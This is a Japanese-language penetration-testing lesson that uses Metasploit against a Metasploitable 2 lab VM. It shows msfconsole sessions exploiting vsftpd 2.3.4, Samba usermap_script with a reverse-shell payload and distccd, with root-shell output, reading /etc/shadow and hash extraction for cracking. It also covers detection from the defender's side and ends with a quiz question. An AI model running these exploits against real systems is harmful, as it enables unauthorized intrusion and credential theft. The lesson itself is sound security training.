Metasploit Framework とは
Metasploit Framework は、Rapid7が開発・メンテナンスするオープンソースのペネトレーションテストフレームワークです。2003年の登場以来、セキュリティ専門家・研究者がシステムの脆弱性を検証するための標準ツールとして世界中で使用されています。
Metasploitの主な構成要素:
| コンポーネント | 説明 |
|---|---|
| Exploit | 脆弱性を突いてターゲットシステムに侵入するコード |
| Payload | 侵入後にターゲット上で実行されるコード(Meterpreterなど) |
| Auxiliary | スキャン・フィンガープリントなど攻撃以外の補助モジュール |
| Post | 侵入後の情報収集・権限昇格などのモジュール |
| Encoder | ペイロードをエンコードして検知を回避するモジュール |
このレッスンで使用するすべてのコマンドは、Metasploitable 2/3 専用の隔離されたホストオンリー仮想ネットワーク内のみで実行してください。Metasploitはインターネット上や許可されていないシステムへの使用は不正アクセス禁止法・コンピュータ詐欺法に違反し、刑事罰の対象となります。実習前に必ず「01 演習環境構築」でネットワーク隔離を確認してください。
演習環境の確認
実習を始める前に、Kali LinuxとMetasploitable 2が同一のホストオンリーネットワーク上にいることを確認します。
# Kali Linux 側で確認
ip addr show eth1
# 例: inet 192.168.56.102/24
# Metasploitable 2 のIPアドレスにpingが通るか確認
ping -c 3 192.168.56.101
# PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data.
# 64 bytes from 192.168.56.101: icmp_seq=1 ttl=64 time=0.45 ms
# Nmapで事前スキャンしてターゲットの全体像を把握
sudo nmap -sV -p- 192.168.56.101
Metasploitable 2 には教育目的で意図的に多数の脆弱なサービスが含まれています。主なものを挙げると、vsftpd 2.3.4(バックドア)、OpenSSH 4.7p1(古い実装)、Samba 3.0.20(username mapコマンドインジェクション)、UnrealIRCd(バックドア)、distccd などがあります。
msfconsole の基本操作
# Metasploit Framework を起動
msfconsole
# 起動後のプロンプト
# msf6 >
# ヘルプの表示
msf6 > help
# モジュールの検索
msf6 > search vsftpd
# Matching Modules
# ================
# Name Disclosure Date Rank Check
# ---- --------------- ---- -----
# exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No
# モジュールの詳細情報を表示
msf6 > info exploit/unix/ftp/vsftpd_234_backdoor
# モジュールを選択
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
# msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
# 現在のオプションを確認
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
実習 1 — vsftpd 2.3.4 バックドアの悪用
vsftpd 2.3.4 は2011年7月に公式配布パッケージにバックドアが混入した事件で知られています。ユーザー名末尾に「:)」を付けるとポート6200でバックドアシェルが開くという仕組みです。
# モジュールを選択してオプションを設定
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
# ターゲットIPを設定
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.101
# RHOSTS => 192.168.56.101
# ペイロードを確認(このexploitはcmd/unixを使用)
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
# 実行
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
# [*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
# [*] 192.168.56.101:21 - USER: 331 Please specify the password.
# [+] 192.168.56.101:21 - Backdoor service has been spawned, handling…
# [+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)
# [*] Found shell.
# [*] Command shell session 1 opened
# バックドアシェルでのコマンド実行
id
# uid=0(root) gid=0(root) groups=0(root)
whoami
# root
uname -a
# Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
# セッションを終了
exit
vsftpd 2.3.4 の事件はサプライチェーン攻撃の典型例です。正規のパッケージにバックドアが混入されるケースは現在も継続する脅威です。ソフトウェアのハッシュ検証・信頼できるリポジトリからの取得・定期的なアップデートが重要な対策となります。
実習 2 — Samba のコマンドインジェクション(usermap_script)
Samba 3.0.20 には username map script オプションにコマンドインジェクションの脆弱性があります(CVE-2007-2447)。
# 新しいモジュールを検索・選択
msf6 > search samba usermap
# exploit/multi/samba/usermap_script 2007-05-14 excellent No
msf6 > use exploit/multi/samba/usermap_script
# オプションの設定
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.56.101
# RHOSTS => 192.168.56.101
# Reverse TCPペイロードを設定(攻撃者側に接続させる)
msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse_netcat
# PAYLOAD => cmd/unix/reverse_netcat
# 自分(Kali)のIPアドレスを設定
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.56.102
# LHOST => 192.168.56.102
# 全設定を確認
msf6 exploit(multi/samba/usermap_script) > show options
# Name Current Setting Required Description
# ---- --------------- -------- -----------
# RHOSTS 192.168.56.101 yes Target IP
# RPORT 139 yes Target port (TCP)
# LHOST 192.168.56.102 yes Listen address
# LPORT 4444 yes Listen port
# 実行
msf6 exploit(multi/samba/usermap_script) > run
# [*] Started reverse TCP handler on 192.168.56.102:4444
# [*] Command shell session 2 opened (192.168.56.102:4444 -> 192.168.56.101:…)
# [*] Found shell.
# rootシェルでの操作
id
# uid=0(root) gid=0(root)
cat /etc/shadow | head -5
# root:$1$/…/…(パスワードハッシュが見える)
実習 3 — Meterpreter セッションの活用
Meterpreterはメモリ上で動作する高機能なペイロードで、より多くの情報収集・操作が可能です。
# Metasploitable 2 の distccd 脆弱性を使用
msf6 > use exploit/unix/misc/distcc_exec
msf6 exploit(unix/misc/distcc_exec) > set RHOSTS 192.168.56.101 msf6 exploit(unix/misc/distcc_exec) > set PAYLOAD cmd/unix/reverse_bash msf6 exploit(unix/misc/distcc_exec) > set LHOST 192.168.56.102 msf6 exploit(unix/misc/distcc_exec) > run
# --- Meterpreter を持つ例(linux/x86/meterpreter/reverse_tcp)---
# Meterpreter セッションが開いた場合の操作例:
meterpreter > sysinfo
# Computer : metasploitable
# OS : Linux 2.6.24-16-server #1 SMP
# Architecture : i686
# Meterpreter : x86/linux
meterpreter > getuid
# Server username: root
meterpreter > ls /home
# Listing: /home
# d msfadmin
# d user
# ファイルのダウンロード(証拠保全の演習として)
meterpreter > download /etc/passwd /tmp/metasploitable_passwd.txt
# ネットワーク情報の収集
meterpreter > ifconfig
# プロセス一覧
meterpreter > ps
# セッションをバックグラウンドに移動
meterpreter > background
# [*] Backgrounding session 1…
# セッション一覧の確認
msf6 > sessions -l
# Active sessions
# ===============
# Id Name Type Connection
# — ---- ---- ----------
# 1 meterpreter x86/linux 192.168.56.102:4444 -> 192.168.56.101:…
# セッションへの再接続
msf6 > sessions -i 1
Meterpreterはターゲットのディスクに書き込まずメモリ上で動作するため、フォレンジック的な痕跡が残りにくい設計です。これが実際の攻撃者に好まれる理由であり、防御側がメモリフォレンジックやEDR(Endpoint Detection and Response)を重視する理由でもあります。
防御側の視点:攻撃の検出
攻撃を理解したうえで、防御側がどのように検出するかを学びます。
ネットワーク側での検出:
- FTP接続後にポート6200への接続が発生する(vsftpdバックドアの特徴的なパターン)
- SMBポート(139/445)から発信方向のTCP接続(Samba reverse shell)
- IDS/IPS のシグネチャ(Snort ルール
sid:3004,3005など Metasploit 関連)
ホスト側での検出:
/var/log/auth.logや/var/log/syslogへの異常なエントリ- 新しいプロセスの生成(特に root 権限の unexpecte な bash/sh)
netstat -antpで予期しないLISTEN/ESTABLISHEDポート
# ターゲット側(別ターミナルでMetasploitable 2 に直接ログインして確認)
# SSH等でMetasploitable 2 にログイン後:
# 認証ログの確認
sudo tail -50 /var/log/auth.log
# ネットワーク接続の確認
netstat -antp | grep ESTABLISHED
# 予期しないリスニングポートの確認
netstat -antp | grep LISTEN
# 最近実行されたプロセスの確認
ps aux —sort=-%cpu | head -20
やってみよう — 演習ミッション
以下の課題を Metasploitable 2 を使って自分の手で試してみましょう。
ミッション 1(基礎): search コマンドを使って UnrealIRCd のバックドアモジュールを見つけ、セッションを確立してください。(ヒント:search unreal)
ミッション 2(応用): db_nmap コマンドを使ってスキャン結果をMetasploitのデータベースに保存し、hosts / services コマンドで結果を閲覧してください。(ヒント:先に msfdb init でDBを初期化)
ミッション 3(発展): 取得したシェルセッションから /etc/shadow のハッシュを入手し、次のレッスン(Hashcat)で使うための hashes.txt を作成してください。
トラブルシューティング
| 症状 | 原因 | 対処法 |
|---|---|---|
Exploit completed, but no session was created | ターゲットがパッチ済み/バージョンが違う | nmap -sV でバージョンを再確認 |
Connection refused | サービスが起動していない | Metasploitable 2 を再起動し、サービスが動作しているか確認 |
Handler failed to bind | LHOSTのポートが使用中 | set LPORT 5555 などで別ポートに変更 |
| msfconsole が起動しない | PostgreSQLサービスが停止中 | sudo service postgresql start && msfdb reinit |
| セッションが即座に切断される | 不安定な接続 | -j オプションでバックグラウンド実行後、sessions -i で接続 |
# PostgreSQLサービスを起動
sudo service postgresql start
# Metasploitデータベースを初期化(初回のみ)
sudo msfdb init
# データベースの状態確認
msfdb status
# 再度起動
msfconsole
Metasploit の「Payload」とはどれを指しますか?